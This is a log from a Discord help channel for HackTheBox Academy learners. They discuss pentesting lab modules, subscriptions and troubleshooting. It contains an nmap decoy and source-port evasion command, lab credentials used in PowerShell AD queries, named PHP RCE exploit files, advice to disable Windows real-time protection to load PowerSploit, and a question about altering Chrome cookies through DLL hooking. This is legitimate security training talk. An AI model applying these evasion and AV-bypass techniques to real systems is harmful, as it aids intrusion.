modules

[rose lichen]

🥹

[exotic dagger]

That file upload module was something else. I have no idea why my brain made it 100X harder than it was for just the skills assessment.

see i am replying to randoms my brain is done for the night!

[exotic dagger]

I was having little to no luck with fuzzing on this for some reason. If you can test it locally it helps out tremendously to be able to tweak the errors. If you can wrap your head around that hint?

[trail ingot]

Which ACE entry can be leveraged to perform a targeted Kerberoasting attack?

active directory mode

[midnight galleon]

Attacking Splunk module
splunk only operate over https?

not even with a redirect from http to https?

[sage rapids]

Good morning everyone, I want to get advice from you

I am now 18 years old, I am a first-year student at the university

I am studying information security and want to become a pentester, but because of the high threshold for entering pentesting, I want to choose another IT specialty (to find a job earlier) and come to pentesting from it, I am thinking which one is better (I am currently considering a python developer because I already have the basics)
Thank you all in advance ♥️

[midnight galleon]

Help desk

get A+ (or at least the knowledge of A+) and you will probably be good to go

[exotic dagger]

#careers-and-certs is a good room for that information. If you like to poll that room for the question.

[slate creek]

CDSA module finding evil, Windows Event Logs Section, Q2. I use the exact query in answers but still don't get any results. it does not return any event (Also I can't copy and paste screen shots here? :o) this is my query <QueryList> <Query Id="0" Path="Security"> <Select Path="Security"> *[EventData[Data[@Name='ProcessName']='C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1790_none_7df2aec07ca10e81\TiWorker.exe']] and *[EventData[Data[@Name='ObjectName']='C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WPF\wpfgfx_v0400.dll']] </Select> </Query> </QueryList>

[ripe anvil]

hello guys, i am facing issues while solving the live engagement section in the "shell and payloads" module. Everytime i connect the target machine via rdp i face network disconnect issues after every 1-2 minutes and also the ip of the machine not ping and after 2-3 machine again i can ping the machine and now rdp works but when connect via rdp it again disconnect after 1-2 minutes

here is the error:
┌─[us-academy-4]─[10.10.14.153]─[htb-ac-1202768@htb-jy72jrvllv]─[~]
└──╼ [★]$ xfreerdp /v:10.129.204.126 /u:htb-student /p:'HTB_@cademy_stdnt!' /workarea /smart-sizing /cert-ignore
[03:45:34:878] [9235:9236] [ERROR][com.winpr.timezone] - Unable to find a match for unix timezone: US/Central
[03:45:34:179] [9235:9236] [INFO][com.freerdp.gdi] - Local framebuffer format PIXEL_FORMAT_BGRX32
[03:45:34:179] [9235:9236] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[03:45:34:199] [9235:9236] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
[03:45:34:199] [9235:9236] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx
[03:47:11:309] [9235:9236] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 110: Connection timed out
[03:47:11:309] [9235:9236] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[03:47:11:309] [9235:9236] [INFO][com.freerdp.client.common] - Network disconnect

any hint ?

[plain trellis]

Try using remmina

[torpid sail]

[Help] Has anyone able to find the flag of this module section, Linux Privileges Escalation of Environment enumeration. I was able to get the root user and found the flag.txt. The code doesn't work. https://academy.hackthebox.com/module/51/section/1592

[quiet trout]

try switching to TCP run this in your terminal...

sudo sed -i 's/udp/tcp/g; s/1337/443/g; s/tls-auth/tls-crypt/g' /etc/openvpn/*.conf; sudo systemctl restart openvpn

if you're using pwnbox ^ , if not, then set ovpn connection file to TCP

[dapper moth]

WriteProperty, I think

[quiet trout]

@dapper moth, sup yo? what you working on?

(this "morning" UTC -6:00)

[dapper moth]

In Academy? Nothing! No more cubes to unlock any module

[naive sage]

[quiet trout]

damn, props for helping out

[dapper moth]

Going for the Win Boxes in the labs now!

[quiet trout]

im doing the SOC Analyst, and im having to force myself to get thru these IDS/IPS modules, i thought they'd be a bit more "fun" dunno

[dapper moth]

I kinda liked the defense modules

[quiet trout]

not to say they're not educational, and informative, just less fun than like the offensive stuff

[dapper moth]

HTB made them pretty enjoyable

[quiet trout]

i dont know how to count bytes or recognize them in stuff like the wireshark output to be able to create the offsets for the customs rules and stuff, im definitely gonna have to return to this stuff later when i can create a vm lab that will better help me familiarize myself with this stuff

its little things like that, that kill me

you know, identify an alert trigger, find its location in the packet, count its offset and size and create/modify the rule so it alerts if a packet matching its type/size/regex/etc is found

[quiet trout]

likewise.

[dapper moth]

What module is this from? Might give a check

[quiet trout]

just a sec its a section or two back i need to find it

ok there's two, its suricata rule development.

https://academy.hackthebox.com/module/226/section/2415 <-- Offset

https://academy.hackthebox.com/module/226/section/2451 <-- find the string that should be seen in the content keyword of a rule

[dapper moth]

Thought it was Yara
I’ll check it out in a bit

[quiet trout]

oh yara, is that "easier"? i think thats a few sections next in line

[exotic pilot]

Module> Files transfers with code - I am unable to install python2.7 as instructed as it will not accept my password for HTB-Student? Any one having the same issues?

[rain crest]

.

[shut vapor]

moin

[pulsar oak]

Guys. Which graphical tool do you use to create an Active Directory map or a network maps?
I currently have a lab with several computers on the network and I need to make graphic notes for convenient penetration testing

[quiet trout]

Theres a tool that builds a database, i cant remember the name at the moment, let me check my notes, i think tis bloodhound?

or do you need something different? zenmap creates a simple network diagram as well

@pulsar oak ^

[shut vapor]

yes, bloodhound

[shut vapor]

^^^ well, for AD. IDK about networks in general.

Oh right, zenmap is part of nmap

[quiet trout]

yeah im not familiar enough with nma pto know if you can output that info with an nmap option

its interactive though so i dunno

[pulsar oak]

Yes, I needed something like zenmap, but do you know if zenmap supports proxychains?

[quiet trout]

not sure i know nmap supports proxy chains so i dont think zenmap would be any different. i just checked the nmap downloads page and found a zenmap installer that says "all platforms" (whatever that means) its an RPM tho

and it says "...noarch.rpm", btw 🤓

[pulsar oak]

I got it, I'll try, thanks a lot!

[dapper moth]

I guess you are supposed to fine tune that offset parameter in the rules file

And run it with that pcap file so you can see when it gets detected and when not

I'll go through some of the stuff in that pcap to check the filter you'll need to find it

[quiet trout]

Oh i got the solution, its just that its new to me... so doing that feels very odd i just need to get a vm lab up and just repetitively do stuff like that and play around and stuff, but i find it a ilttle boring

[dapper moth]

ICS?

[quiet trout]

yeah now that im looking at another section here i realize what the problem is, i need to see the traffic for these types of attacks to be able to understand the rules, like see them from start to finish... make them even (playing both sides of the fence offense and defense) im not gonna fully understand this until i can do that

[quiet trout]

not sure what ICS is those are just screenshots from google for bloodhound and zenmap network map

[dapper moth]

Industrial Control Systems

[dapper moth]

Yeah. It helps in Wireshark

[dapper moth]

If you want to understand where that value comes from I found a good explanation to it. Can send you the stuff I just got

[quiet trout]

yeah i'd appreciate it im dealing with another exercise just like it

[slate creek]

any tips on this?

[quiet trout]

analyzing the wireshark, but still unsure how to count bytes, offset, etc.

[real fern]

Hi guys , I am beginner can someone please explain how to get more cubes without subscription ?

[fading ridge]

Hi where can I report a finding with a question that i think is incorrect

[acoustic owl]

You can also buy cubes. You don't need a subscription. But they are cheaper with a subscription.

[acoustic owl]

#1234357888114364508

[real fern]

Without buying cubes or subscription is there any strategy to use 50 cubes to max advantage... As I am not sure to purchasing cubes or subscription based on my inexperience to continue to learn or not...

[slate creek]

hi all where to ask questions about module exercises?

[acoustic owl]

You can use the cubes you received with your application to study the Tier 0 modules. The modules cost 10 cubes and give you 10 cubes back.
All modules from Tier I cost money

[shut vapor]

In AD Enumeration & Attacks > any section but I happen to be in "Privileged Access".
Does anyone have insight as to why a call to Get-ADUser works when RDP'd into the box, but not through Win-RM?
In Win-RM I get the error "Unable to contact the server. This may be because this server does not exist [...]"

[shut vapor]

You're in the right place. Be sure to mention the Module & Section by name so we know what you're asking about.

[trail egret]

so we have a machine which we have ssh access and that machine(A) is connected to network(B)..So we want to access the other network(B) we can do that by using dynamic port forwarding using socks..In which we set up a socks server in machine(A) we have access to and from the attackbox we send nmap commands to machine(A) SOCKS server through ssh tunnel and from Socks server it executes the nmap's packets on the machine(A) and Discover the network(B) ..Is my understanding correct ?

[real fern]

Yes that is strategy I am applying.. I was 70 cube while sign in.. now I have 50 cubes by joining Linux and networking fundamentals.. after I want to learn bash script but it will take away full 50 cubes that is problem... Using tier 0 course is good strategy..

Is there any other strategy? Means is HTB cpts available on YouTube?

[shut vapor]

Yes, this sounds like a pretty accurate summary. To be very precise, you have access TO network B. FROM network B, however, you have limited access back to your attack machine -- only by way of replying via TCP.

[acoustic owl]

Only modules up to Tier 0 may be shown on YouTube. No walkthroughs are permitted for anything above Tier 0.

If you want to learn CPTS, you need cubes

[final shale]

Did you try "import-module ActiveDirectory" on the winRM PS before the command

[real fern]

Yes for cpts annual subscription is only good option..

[acoustic owl]

No, you can also buy cubes. You don't necessarily need a subscription.

[final shale]

If you are a student you can get a discount.

[real fern]

Means for cpts it is 1980 cubes , i have to spend 200$ that too with no certificate so bad option maybe if we want certificate otherwise just for knowledge it seems great... Am I right?

[dapper moth]

Best way is to get a subs since you get a discount

[real fern]

I am not student..

[final shale]

Cubes turns out more expensive at the end if you do the math

[real fern]

For 100$ it is 1000 cubes...

[dapper moth]

A subs is $60 something

for 1000 a month

So 🤷‍♂️

[trail egret]

For student and other the exam fee is same ?

cpts

[dapper moth]

You guys are lucky. HTB is even unlocking a whole bunch of modules if you're getting annual. When I started only low level were applied to this

[final shale]

But that does not include the exam. With the silver sub you get exam voucher

[shut vapor]

Yes, the ActiveDirectory module is loaded. I'd get a "bad command or filename" type response if it weren't.

The error I get suggests I'm unable to connect to AD which is weird. There's not some additional things I need to do with winrm to get connected to AD is there?

[final shale]

Hm interesting. Can you enumarete with PowerView through winRM?

[real fern]

For 490$ you get whole year access plus certification...

[shut vapor]

I'll check that too. I googled it and got some hits so let me see where that takes me.

[real fern]

Good strategy if you don't want certification...

[dapper moth]

This

And you were commenting on the 1000 cubes for $100

[final shale]

Share the outcome please when you figure it out.

[naive sage]

Woah wait, zenmap is cool.

[dapper moth]

I went with monthly cause it didn't have the higher modules when I started and this was available after I unlocked many of the modules

so it wasn't worth

[livid pelican]

i cant access the #general

[dapper moth]

I made the math at the time

[slate creek]

Thank you. I am not able to paste any screenshot here, idk why it doesn't work. CDSA module finding evil, Windows Event Logs Section, Q2. I use the exact query in answers but still don't get any results. it does not return any event (Also I can't copy and paste screen shots here? :o) this is my query

  <Query Id="0" Path="Security">
    <Select Path="Security">
*[EventData[Data[@Name='ProcessName']='C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1790_none_7df2aec07ca10e81\TiWorker.exe']] and *[EventData[Data[@Name='ObjectName']='C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WPF\wpfgfx_v0400.dll']]
</Select>
  </Query>
</QueryList>```

[shut vapor]

See #welcome and follow the instructions to be able to screenshot and interact with the full discord server.

I'll let someone else help you with the CDSA module with which I am unfamiliar.

[acoustic owl]

yes

[real fern]

Maybe you are unlucky on that time but now in your point of view silver annual subscription also good...

[dapper moth]

It isn't

Only a handful of modules to unlock

Finished all the tier 2 a while back

[real fern]

Did you tried cpts?

[dapper moth]

Haven't yet

Planing on it though...

[real fern]

If you get or cleared cpts . You probably also clear oscp don't know oscp+... That is what heard in internet..

[dapper moth]

Yeah.... First I was thinking on going for the OSCP but they are pricey as heck.

[shut vapor]

Best I can tell it's the "double hop problem" which is discussed a little later, so this is speculation based on my limited knowledge but I think with RDP your credentials are [typically, by default] cached in LSA and with Win-RM they aren't. I can execute the command if I create a PSCredential object and pass that as part of the call:

$user = 'INLANEFREIGHT\htb-student'
$user_pw = 'Academy_student_AD!'
$user_sec_pw = ConvertTo-SecureString $user_pw -AsPlainText -Force
$user_cred = New-Object System.Management.Automation.PSCredential($user, $user_sec_pw) 
$users="C:\tools\users.txt";
Get-ADUser -Filter * -cred $user_cred|Select-Object -ExpandProperty SamAccountName > $users;

[real fern]

You may complete cpts here then 700 or 800$ for only examination for oscp.. very bad for middle income guys like me..

[acoustic owl]

For OSCP you need the Course & Cert Exam Bundle from Offsec

[real fern]

Can't we just purchase exam?

[dapper moth]

For OSCP no

[acoustic owl]

I don't think so, but ask Offsec

[dapper moth]

I wanted to do that as well

[real fern]

Then it is too much for us.. it may cost more than 1500$, in India average yearly income is 2700$... unbelievable pricing...

[acoustic owl]

Offsec is an American company that has to base its prices on the American market. Wages and living costs in America are significantly higher than in India.

[real fern]

Maybe after getting good job only it is possible..

[real fern]

Yes .. I got it.. They have to change there pricing depends on some demographic also .. Indian learning population earn them good business... But there maybe many loopholes..

That is why cpts best .. 500$ is not that much consider to 1500$... Just that cpts need more recognition.. atleast one competition needed to oscp...

[dapper moth]

Can someone give me a quick answer to which module is hardest between:

• Advanced Deserialization Attacks
• Modern Web Exploitation Techniques
• Advanced XSS and CSRF Exploitation
• Introduction to Binary Fuzzing

[acoustic owl]

The costs for the servers, employees, etc. are always the same. No matter where the student comes from.

[acoustic owl]

That probably depends on your previous knowledge

[dapper moth]

Have you done those? I mean.... I want a personal opinion

What did YOU specifically found to be the hardest I mean

[wet valve]

i have a problem in the module Windows Attacks & Defense

Credentials in Object Properties. Can anyone help me and explain why the server DC1 doesnt create the correct logs ? I did all the steps correct but couldnt take the answer for the last question cause the server seems to not work properly

[acoustic owl]

Only the web modules. But as I said, it depends on your prior knowledge.

For me, Advanced Deserialization Attacks was the most difficult of the three web modules mentioned

But it's because I don't know C# very well.

[dapper moth]

Have to plan which modules to unlock next when the subscription hit. Those are on the list

[old oasis]

I can speak for the Advanced XSS and CSRF Exploitation, it was challenging and heavy but a lot of fun.

[tender nimbus]

hey guys quick question im doing the password crakcing module and im doing the hard lab, i found this file also in the meduim lab any idea what it is? there are a bunch of passwords in it its like a list Users\johanna\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\passwords.txt

[wet valve]

its for cracking

[wet valve]

use it wit hashcat for example

[tender nimbus]

for which reason is it on a target?

[wet valve]

its not a target , etc. you can use these wordlist-passwords.txt for cracking another files with hashes

[tender nimbus]

i dont really understand? The passwords are in clear also btw

[dapper moth]

Thanks, @acoustic owl and @old oasis
Guess I'll go for something like that next

[scenic crater]

If you searching about any hacking tools I can bring it up for you

[nova ginkgo]

hello everynoe pls help

windows prv escalation : other files

Using the techniques shown in this section, find the cleartext password for the bob_adm user on the target system.

I used all methods but not worked

[wet valve]

thats the point its clear in order to crack

[nova ginkgo]

guys

[umbral path]

Hey guys
Im trying to do this right now
Once you decode the cookie, you will notice that it is only 31 characters long, which appears to be an md5 hash missing its last character. So, try to fuzz the last character of the decoded md5 cookie with all alpha-numeric characters, while encoding each request with the encoding methods you identified above. (You may use the "alphanum-case.txt" wordlist from Seclist for the payload)
I have decoded it then I made chatgpt write a python script that will take the cookie and append the alphanum-case.txt file one by one to the end
Then I took that text file and put it into intruder in the cookie field
But none of the pages returned in intruder are a succesfull login
Ive been stuck on this for an hour

[sacred jacinth]

you don't need to have a python script after all burpsuite offers a brute force option itself

[shut vapor]

wth, i was having trouble with a lab so terminated and respawned it and got a totally wrong lab 🤣

[real fern]

Can anyone please give me any free course name like HTM and THM free videos on Junior Penetration whether on YouTube or any other ... Has to be interactive like THM and HTM...

[acoustic owl]

For Web:
https://portswigger.net/web-security
https://www.apisecuniversity.com/#courses

Here you can find videos from IppSec, which he has recorded on various machines
https://ippsec.rocks/
Just search for the topic you are interested in

[real fern]

Thanks a lot buddy...👍

[winter schooner]

In the modules where it says how long it takes to finish (for example, 8 hours), does that mean you have to be working for 8 hours straight, or can you work over a span of 8 hours to complete it? Also, for the modules that say "2 days," how long would you need to work each of the 2 days to finish?

[storm elk]

No. It’s a guesstimate. Some can be finished sooner and some later. It all depends on the person doing it

[dapper moth]

It's an estimation

[winter schooner]

ok i understand now thanks for the answer

[woven jasper]

GUYS i need help i can not delete my htb account

[acoustic owl]

Reach out to support

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[woven jasper]

i need to open ticket?

[acoustic owl]

yes

[woven jasper]

ok wait

i had academy account i cant see open ticket area

[acoustic owl]

green bubble or email

[woven jasper]

ı dont understand

[acoustic owl]

Take a look at the link above

[woven jasper]

ı speak with ai but ı can not understand how can ı delete my account

@acoustic owl

[real fern]

same here..i am also not getting acces to ticket area.. mine is 2 days acccount..

[woven jasper]

why yout delete account text is seem grey right?

[real fern]

probably wrong guy reply.. i didn't delete account...

[weary pasture]

is it a good idea for using something like ubuntu instead of a virtual machine?

[real fern]

There is little confusion here... Is ther HTB ticket just like THM

[cloud urchin]

depends on your experience level with Ubuntu. if you're new to it you're probably going to have a rough time compiling all the tools etc. easiest is to just run a kali vm or use the pwnbox.

[real fern]

There is little confusion here... Is ther HTB ticket just like THM

[real fern]

I saw Tickets in THM not in HTB....

[weary pasture]

thank you

[acoustic owl]

The link I posted above explains how you can contact support.

[acoustic owl]

https://help.hackthebox.com/en/articles/9189654-manage-your-htb-account

[real fern]

Ok I got it, I got confuse with his complaint ticket with THM Tickets... IT is nothing to do with what I thought...

[acoustic owl]

No, THM has nothing to do with HTB

[real fern]

Yes.. I was just going throgh or studying in both websites.. so got confuse... there is one section of Tickets in THM, I thought HTB also have it.. so that is why I asked where is HTB Ticket... My mistake..

[wild orbit]

hello guys, help me.
how can I change chrome browser cookies using third-party desktop apps.

maybe API hooking? DLL?

[acoustic owl]

Which module are you working on?

[eternal vigil]

SPOILER ALERT I DONT WANNA SPOIL BUT NEED A LIL HELP

hey i am working on NMAP IDS/IPS evasion - Medium Lab and after running my scans i am getting version to be ||NLnet Labs NSD|| but it is not working because i feel like it aint the version or like the full version name, can anyone please lmk if this is correct or not ???|| i found it from udp scan port 53 running version NSE script i also used my source port as 53 too||

[shut vapor]

You're on the right path. You'll learn that if one way isn't working try another.

[dim wolf]

plenty of people have completed the module

[eternal vigil]

umm alright i will try something aroung that then

[dim wolf]

just ask your question and people can help

[shut vapor]

Just to be sure, because I don't remember what the service is called (e.g. NLnet), do you want to confirm the port number for a sanity check? You can mask it here with spoiler tags or DM.

[eternal vigil]

||53/udp||

[shut vapor]

Hum... ok, give me a minute. I was looking at my notes for "hard" and don't have anything down for medium.

[eternal vigil]

oh alr

[shut vapor]

Oh yeah.. ok I think you're good. you're looking for a DNS server so, yeah, ||tcp/udp 53||.

[eternal vigil]

yup but i am not able to catch the version for it

||sudo nmap -sU 10.129.102.200 -p 53 --reason -D RND:10 -Pn -n --stats-every=10s --script=version -sV --source-port 53 ||
this was my scan

[shut vapor]

I'm firing up the lab to see if I can remind myself how it's done, but same advice applies: if one way doesn't work try other ways. The version will be in flag form, e.g. HTB {...}

[eternal vigil]

ohhh alrr thankyou i will keep looking

[shut vapor]

Ok, there are at least a couple ways to get the flag. There's a lot of unnecessary crap in your command, but it does return the flag for me. If it's not working for you, make sure the ports you expect to be open are actually open with a simpler scan. Ping should work too. Sometimes the labs get goofed up and you have to terminate/restart.

[eternal vigil]

wait it IS returning flag for you ?

[shut vapor]

yuppers

[eternal vigil]

guess i should do it in the pwn instance instead of my machine

[shut vapor]

give it a try. It'll work from your system too if assuming you're vpn'd in

[weary pasture]

i want to download the .ovpn file but the exercise doesn't have the link .

[eternal vigil]

@shut vapor that was super quick doing it in the pwn

idk man why these issues pop up even when i AM using the vpn

[shut vapor]

Good you got it working. It seems to steady out after you get used to the workflow. If things seem like they're not working for me I typically do a few tricks:

• Terminate / Restart the lab
• Terminate / Restart and redownload the .ovpn file
• Switch regions then terminate / restart and redownload the .ovpn

[eternal vigil]

oh no i'm sorry i haven't done that module yet

[shut vapor]

Sorry, I haven't completed that module either.

[eternal vigil]

yea i did that too but nvm the pwn works so gg

uk what i found the issue

why it didn't work

[shut vapor]

oh?

[eternal vigil]

it was because i was connected to the tcp vpn and now that i switch to udp it worked like a chrm

[shut vapor]

I'll have to keep that in mind to recommend. I've heard from a few people the TCP version works a little better now that I think of it.

[eternal vigil]

no but when scaaningn for the udp ports tcp didnt work for me

i even re routed it with new ffile but no luck there

[sacred jacinth]

TCP works better for RDP

stable connection

[safe star]

use the script they provide

[rustic sage]

i am

thats the same exact script they provide yet i get no response

[safe star]

try replacing wget -q with curl -O

[weary pasture]

someone???

[eternal vigil]

download it from htb labs

[weary pasture]

i cannot use the pownbox then i want to get the bpn file

[shut vapor]

Scroll up, the link to download .ovpn is above where you click to spawn a lab.

[weary pasture]

academy

[weary pasture]

there are no link

[brittle solar]

Hey is the correct room to ask a question regarding one labs in the modules?

[shut vapor]

¯_(ツ)_/¯ If it's not there... you've turned off script blockers? Refresh the page? I don't know, you'd have to talk to support.

[shut vapor]

Yes. Be sure to mention the module & section by name so we know where you're asking. Also see #welcome and follow the instructinos to link your account. Then you can share screenshots and see the rest of the server.

[eternal vigil]

hey @shut vapor could you help me w something real quick? i just wanna know which one of these are absolute useless and served no purpose whatsoever , i feel like those are

1. -Pn cause the host is up and not blocking anything
2. -D because this port is accessible and i dont need to mask around too much

[shut vapor]

Run the command 10 times and remove portions of it until you figure it out.

[weary pasture]

seriously this section doesn't appear. Is it possible to download it from the other module?

[eternal vigil]

fair enough, " F around and Lean " - someone idr

[shut vapor]

But youre interpretation of -Pn is inaccurate. This tells nmap not to ping the host first, just assume it's up.

[eternal vigil]

oh yea thats that my bad

thankyou alot for the help today i appreciate it man

[brittle solar]

Alright cool, identified. Im doing Password Attacks Lab - Medium. I was able to get the zip archive I need to crack, and converted it to a crackable hash with zip2john, and was able to run it against john to try and crack it. I tried the provided password list from resources, I tried the mutated list, and I tried rockyou and a bunch of other wordlists. I tried hashcat as well just wondering if it was a problem with john, but also to no avail. I ran incremental mode in john for the heck of it for a few hours, and nothing there. Am i missing something?

[shut vapor]

Are you sure you tried all 3 lists with hashcat? That path worked for me.

[sacred jacinth]

^

[shut vapor]

You shouldn't have to set RPORT to 80/443 if the web server is on 8080. Is there a separate port specification for VHOSTS? like VHOST_RPORT? I forget. If you share a screenshot of the options it might jog a memory.

[brittle solar]

im pretty sure but ill retry lol. Is there any reason why john would treat the lists differently than hashcat that you're aware of?

[shut vapor]

As far as I'm aware john would work just fine.

I've just got hashcat cooking on my GPU so it's my goto.

Well that makes more sense to me & sounds familiar. Set RPORT to 8080 and you have to set the VHOST too. Is there still some confusion?

SNI is pretty cool. Let me tell you about the bad old days... 👴

[brittle solar]

yeah hashcat was able to work, for some reason john wasn't able to crack it with the same lists and it was correctly going through the wordlists. I reinstalled it and still had the same problem. For hashcat I forgot to remove the stuff up to $pkzip$ so i was using the wrong mode... live and learn lol

[shut vapor]

Good news. And, yeah, do a lot of experimentation with that module to play with as many tools as possible. You'll find a preference for one over the other depending on circumstances. Though, more for password attack tools (e.g. netexec vs medusa vs hydra vs etc..) than hashcat and john.

[sweet lagoon]

Module: Information Gathering - Web Edition
Section: Web Archives
Due to the cyberattack on the Wayback Machine on October 9th, is there any way to complete this section moving forward? I answered the first 3 questions before the attack but did not complete the last 3 questions.

[dusty cape]

Hi, anyone here who has completed the new wifi penetration testing module? I'm Stuck at the live engagement.

[unborn oriole]

I don't believe you can at this time. I'm in the same boat.

I just moved on for the time being

[acoustic owl]

What exactly is not working?

[silent rivet]

i dont know if this is the right channel to ask but i cant acces to the cheat sheet or even use hints accdidently i closed the machine before doing this question " Start your workstation, then use the integrated terminal to find the Linux OS flavor by running the following command: cat /etc/issue "

its my first time to use the wsbsite soo

[dusty cape]

I'm unable to capture the handshake in order to answer question 2. I deauthenticated the Client from the Wifi Network and started airodump-ng again. But the Handshake is missing..

[silent rivet]

well this aint helping

[unborn oriole]

payloadbunny, if you're still there would you mind if I dm'd you real quick before submitting something to erratum?

[acoustic owl]

Take another look at the module.
During the deauth you have to keep the scan running.

[acoustic owl]

sure, send me a dm

[dusty cape]

I see, thanks I'm going to try that.

[silent rivet]

is edu.tr supported in HTB?

as student?

[cloud urchin]

i beleive only their pre-approved list and if you're not in that you need to reach out to support

i could be wrong on that but i think i remember reading something like that

[dusty cape]

Thank you so much it worked!

[silent rivet]

i cant buy any modul with cubes i am clicking the button and nothing happening

just the screen little shaking

[acoustic owl]

disable all adblockers and try again

[coral crest]

is there any problem going on with module Attacking Domain Trusts (Linux)? I changed twice vpn servers, changed pwnbox twice, same with the target. No matter what I change "@ea-attack01" keeps crashing/frozing and I lost conn with it.

[silent rivet]

well i am using brave it have attaches adblocker soo

should i try with another browser?

[cobalt aspen]

Module: Vulnerability Assessment
Section: Nessus Skill Assesment
My Nessus instance is unreachable, i dont get any resposne from spawned server. Could anyone check if yours work good.

[fathom pendant]

Spawn target: https://spawnedip:nessusport

[silent rivet]

it worked

[fathom pendant]

You need to specify https

[cobalt aspen]

yhyh it seems it doesn't work at all i specified port and used https but unreachable, i will try to change vpn region

[sharp coyote]

People, people!!!!

I got an announcement

More like invitation

[sharp coyote]

Do you wanna hear my suggestion

[dusty cape]

Anyone here who has a tip on connecting to the wifi network? The network is hidden so i think i have to use the terminal. I already created a wpa.conf file which contains the ssid and password. However I'm unable to connect using wpa_supplicant.

[sharp coyote]

We're going insane cuh yk i'm sayin

[cloud urchin]

<@&861185840277487616>

[sharp coyote]

Rat

[cloud urchin]

get out of here nerd

[sharp coyote]

You get out fake profile catfisher

I'm staying right here!!!

[cloud urchin]

ok noodle arms

[sharp coyote]

Go shave your mutton chops

🤓

https://tenor.com/view/nerd-well-actually-as-a-matter-of-fact-gif-27665011

[dusty cape]

Please stop spamming, my question is moving out of the screen 😭

[sharp coyote]

No one cares bro

People won't answer, get that

This world is full of bad people and they don't care

[dusty cape]

Nah, the HTB Community is pretty chill

[sharp coyote]

No bro every community is manipulative and calculated

[tribal plinth]

Feel free to DM

[coral crest]

the security logic is undeniable, you cant hack stuff if you can't even login

[fathom pendant]

don't run the vpn and pwnbox at the same time

use one or the other

[coral crest]

I don't, but that's the point, because both are not working, I am very sure the ACADEMY-EA-ATTACK01 is having some crazy stuff running there, because I can connect using pwnbox, I just can't keep connected

[fathom pendant]

If it is an issue with it, then reach out to support

Tech issues on htb end can't be solved on discord

[dapper moth]

Run everything just like in the module

If you have a question shoot it

[rustic sage]

I have a question I am beginning hacking and I don’t know what too work on first

I joined hack the box

I know nothing about computers where should I start

[shut vapor]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rustic sage]

Obviously I can do basic stuff like play games and watch YouTube but nothing beyond surfce level except right a few lines of python

[rustic sage]

Thank you bro

[river marsh]

Im on the public exploits module and im just a bit stumped as to where im supposed to go. i used nmap to get the ports and versions running, then searchsploit on 2 of the ports that returned versions, one had no results but the other one had quiet alot. but now what?

||since im trying to get a flag im guessing i want an exploit that gives me RCE which there was two of to try:
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py||

[half light]

I'm on introduction to windows command line and I got stuck on import modules to powershell for some reason I can't seem to import powersploit since it being flagged as malicious. Is there a work around I can use to navigate this problem.

[safe star]

is this the getting started mosule?

[river marsh]

yes

[safe star]

did you set the execution policy?

try unrestricted

[safe star]

why do u need nmap, did you open the ip on your browser

[half light]

I did try unrestricted but it still didn't work.

[cloud urchin]

why are you using psd1

[tender nimbus]

Hey guys anyone can help? Im on the password cracking module on the hard lab, i found the bitlocker password tu mount the file i found, i tried to mount it on the target (windows) but need admin password that i dont have for the moment, im trying to mount it on linux but i encounter some problems can anyone help in dm?

[cloud urchin]

where did you get powersploit (the link)? you could try disabling real time protection

[half light]

Thank you ... it did run after disabling real time protection.

[river marsh]

ohhh ok, i had opened it but it hadnt really registered xd i did find an exploit but just need to figure out the username/pw

which im guessing i shouldnt need to just brute force common username pw

[safe star]

you dont need any credentials

[river marsh]

what should i be searching for then? ||search backup plugin 2.7.10|| only returns one result and thats the exploit im trying to run but get a failed to login to wordpress

[safe star]

try google

[river marsh]

ok so i finally got it still feel kinda dumb cause while i was almost there the thought of ||setting the filepath to /flag.txt|| never crossed my mind

[valid osprey]

Hi, everyone, how are you? I hope so.

I would like to know if anyone has completed the "Active Directory LDAP" module. I'm stuck on an exercise and would really like some help.

Credentialed LDAP Enumeration

What user account has their userAccountControl value set to ENCRYPTED_TEXT_PWD_ALLOWED (store passwords using reversible encryption)?

To complete this exercise, I need to use the credentials provided by the exercise. However, when I use them, a credential error is displayed, but I'm not wrong. I use ldapsearch-ad.py, but the response is not returned. So, I try using windapsearch.py, and the error is displayed. How come the credentials work in one tool and not in another? All that's left is this exercise to complete the module 100%.

[wet valve]

To the Administrators of the Modules,

I have recently completed the “Windows Attacks & Defence” module and would like to share my observations. This module presented more technical difficulties than any other I have tried so far. There were more technical issues unrelated to the subject matter than expected, to the point where it diminished the motivation and interest in completing the content. I kindly request that you address these issues, particularly with regard to the remote sessions, as well as other malfunctions that were observed.
P.S. On several occasions when I found the solution, I had to apply techniques that were not taught in the module in order to arrive at the answer.

[pine crag]

need help w burpsuite module pleaseeee

its requiring me to intercept the source code so i can change the type and lenght values

but idk how to intercept it , i only get the GET request info

[onyx dust]

the content-type is a header

in burp it's a checkbox u can select which should automatically adjust for the length

[novel kelp]

is there anyone here that works for Hackthebox

I have some Question about the Silver Annual Subscription

the Academy version

[pine crag]

need to get this info

[shut wraith]

Did u go into ur settings and check off intercept response

check that off and then press the intercept box in the intercept tab and then make the request again in ur browser

[green cypress]

Hi all, I had an issue with the Blind SQL Injection module, for Time-based Oracle Design, it wants the 5th letter of the db_name(), I have found it and the time-based response time confirms it but the answer is not being accepted?.

Don't believe I can upload screenshots in this channel, but I have an ss of the query resulting in a delay for the correct character and no delay when using !='{char}'

[pine crag]

figured it out thanks

i didn’t fully resfresh the page

[shut wraith]

try to find people from the CWEE channel cause not a lot of people are doing those modules here

[dapper moth]

Idk my script gave me the right answer right way but a friend of mine had the same problem

This what he sent me "it was an oracle problem - I needed to change the delay.."

Perhaps something alike

[green cypress]

It seems its because I was doing the SQLi in the GET param and not the user agent

